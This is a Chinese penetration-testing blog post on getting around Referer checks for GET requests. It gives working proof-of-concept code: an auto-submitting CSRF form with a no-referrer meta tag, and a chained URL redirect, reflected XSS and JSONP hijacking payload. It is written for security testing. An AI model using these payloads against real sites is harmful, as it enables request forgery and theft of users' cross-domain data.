GET请求Referer限制绕过总结
作者:Vulkey_Chen
原文来自:GET请求Referer限制绕过总结
前言
在做测试的时候会遇见这样几个漏洞场景:
- JSONP跨域劫持
- 反射XSS
- GET请求类型攻击
但是,在相对安全的情况下,都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢?
正文
什么是Referer?
Referer是请求头的一部分,假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接;这也就是为什么上文所说的场景,遇见了Referer的限制就可能GG了。
绕过之道
常规绕过
一个实际场景:
先来说说一些常规化的东西:
子域名方式
使用子域名的方式进行绕过:
域名前增加
在域名前面增加随机的a-z和0-9也可以进绕过:
?号
将域名作为GET请求参数进行绕过:
打破常规
无Referer
之前在做测试的时候,将Referer头删除也可以绕过,但是在真正的利用中能不能去实现呢?是可以的。
在HTML标签中有这样一个标签<meta>
,而这个标签是表示无Referer,就是如下的代码:
<meta name="referrer" content="never">
我原来的PoC为:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
修改之后的PoC为:
<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/test.php">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
与其他资源组合
超链接
在上文就提到了A站有B站的链接,在A站点击B站的链接,Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接,链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击?
例如gh0st.cn做了Referer的限制:
Referer | State |
---|---|
http://gh0st.cn (Current Domain) | YES |
http://www.hi-ourlife.cn (Other Domain) | NO |
http://a.gh0st.cn (SubDomain) | YES |
实际场景:
- 公开信息对外
在个人中心处可以编辑个人的微博地址:
微博地址是对外的公开信息:
那么结合一下点击劫持或者用户常规的点击了~那就GGGGGGG了~
- 论坛
现在很多厂商都有自己的开放论坛,特别是Discuz这种很多,而Discuz回复是可以使用超链接的:
回复这样的格式:u
u部分为地址,t部分为地址名字~
URL跳转
302跳转是否可以?NO,不可以。
这里的URL跳转是值JavaScript的URL跳转。
常见的两个:
window.location.href="url";
window.open("url");
反射XSS(Referer限制)
- 这里我已经有一个存在任意URL跳转漏洞了:
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
- 我有一个反射XSS漏洞:
http://vulkey.cn/jsonp.php?callback=vulkey
当 referer = a.com
:
当 referer = vulkey.cn
:
当 referer = *.vulkey.cn
:
这个接口验证了Referer使用之前的方法没办法绕过,于是采用组合拳搭配。
于是有了如下的构建:http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>
JSONP劫持+反射XSS+URL跳转
这个案例是基于上面反射XSS案例的,现在已知的三个问题:
- JSONP接口
http://vulkey.cn/jsonp.php?callback=vulkey
有Referer限制 - 反射XSS
http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>
有Referer限制 - JavaScript URL跳转
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
一般JSONP跨域劫持的PoC是这样的:
<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
<script src="url"></script>
但是因为有Referer限制,就不能在自己的站点上做PoC了,就只能利用反射XSS漏洞构建PoC:
http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E
但仅仅如此是不够是因为XSS有Referer来源的限制,所以最终的PoC应该是这样的:
http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E
也就是说在这里JS的URL跳转解决了XSS的Referer限制问题,而XSS又解决了JSONP接口的Referer限制问题,这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么"麻烦"。
结尾
文中总结一些小的TIPS,针对我遇到的实际案例进行了漏洞的复现截图,打开思维其实还有更多更好的思路,有机会后期会写出来。
有问题大家可以留言哦~也欢迎大家到春秋论坛中来玩耍呢!>>>点击跳转
GET请求Referer限制绕过总结的更多相关文章
- curl_get和curl_post,伪造请求头,绕过防盗链下载文件
//curl-get function curl_get($url, $timeout = 10) { $ch = curl_init();//初始化 curl_setopt($ch, CURLOPT ...
- PHP代码审计笔记--CSRF漏洞
0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...
- 与跨域相关的 jsonp 劫持与 CORS 配置错误
参考文章: CORS(跨域资源共享)错误配置漏洞的高级利用 JSONP劫持CORS跨源资源共享漏洞 JSONP绕过CSRF防护token 读取型CSRF-需要交互的内容劫持 跨域资源共享 CORS 详 ...
- 【10.15总结】绕过CSRF的Referer保护
今天下午可能要出远门,所以现在就把总结写好了. Write-up地址:[Critical] Bypass CSRF protection on IBM 这个CSRF漏洞存在于IBM的修改邮箱页面,修改 ...
- 关于绕过域名(ip)校验的一些小知识
这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了 对referer做校验一般是对csrf进行防范的手段之一,但是很多时候 ...
- DVWA全级别之CSRF(跨站请求伪造)
CSRF(Cross-site request forgery) CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( ...
- 从跨域与同源策略谈CSRF防御与绕过
之前偶然看到群里有小伙汁问这个token相关的问题,当时我酝酿了一下子,没想好怎么总结,今天来说一下 CSRF在过去还属于OWASP TOP10 ,现在已经不是了(补充一点:关于OWASP API 请 ...
- 协议层安全相关《http请求走私与CTF利用》
0x00 前言 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx< ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
随机推荐
- pyqt---------事件与信号处理
pyqt:信号与槽的关系 GUI应用程序是事件驱动的. 事件主要由应用程序的用户生成. 但它们也可以通过其他手段产生,例如:网络连接,窗口管理器或定时器. 当我们调用应用程序的exec_()方法时,应 ...
- tp5文件上传展示
//接收文件 $file = request()->file('image'); //将文件移动到框架应用根目录/public/uploads/ 目录下 $info = $file->mo ...
- JavaScript倒计时实现
/** * 倒计时函数 * @param {String}} endTime 终止时间戳 */ const countDown = (endTime, callback) => { const ...
- Generalizations
Generalizations Congratulations! You've learned five commands commonly used to navigate the filesyst ...
- 一篇面经(BAT面试)(转)
0. 写在之前 首先呢我的面试经历和一些面霸和收割机的大神相比绝不算丰富,但我这三个月应该能代表很大一部分人的心路历程:从无忧无虑也无知的状态,然后遭遇挫败,跌入低谷,连续数天的黑暗,慢慢调整,逼着自 ...
- springboot @Value获取值为空,解决办法
在spring中,常常使用 @Value("${property}") 从application.properties中取值,需要注意两点 使用 @Value 的类不能使用 new ...
- ubuntu环境下,ubuntu16.04装机到nvdia显卡驱动安装、cuda8安装、cudnn安装
首先是安装ubuntu16.04 A.制作u盘启动盘(提前准备好.ios文件): 1.安装u盘制作工具unetbootinsudo apt-get install unetbootin2.格式化u盘s ...
- App后台Keynote
[App后台Keynote] 一.基础. 1.一个 节省 流量 的 处理 方法 是 让 App 下载 经过 压缩 的 图片( 一般 是 几十 KB 以下), 当 用户 需要 查看 原图 时 才 下载 ...
- cdnbest节点动态ip配置教程
1.安装节点后,在未初始化里初始化节点,如下图操作,要选择动态ip(注:动态ip节点不支持添加辅ip) 服务器如果是动态ip,选择了动态ip选项,节点在自动更换了新的ip后,在节点列表里的ip和dns ...
- Mysql连接数太多ERROR 1040 (HY000): Too many connections
数据库连接报错:ERROR 1040 (HY000): Too many connections 1.查看连接数 /usr/local/mysql/bin/mysqladmin -h host - ...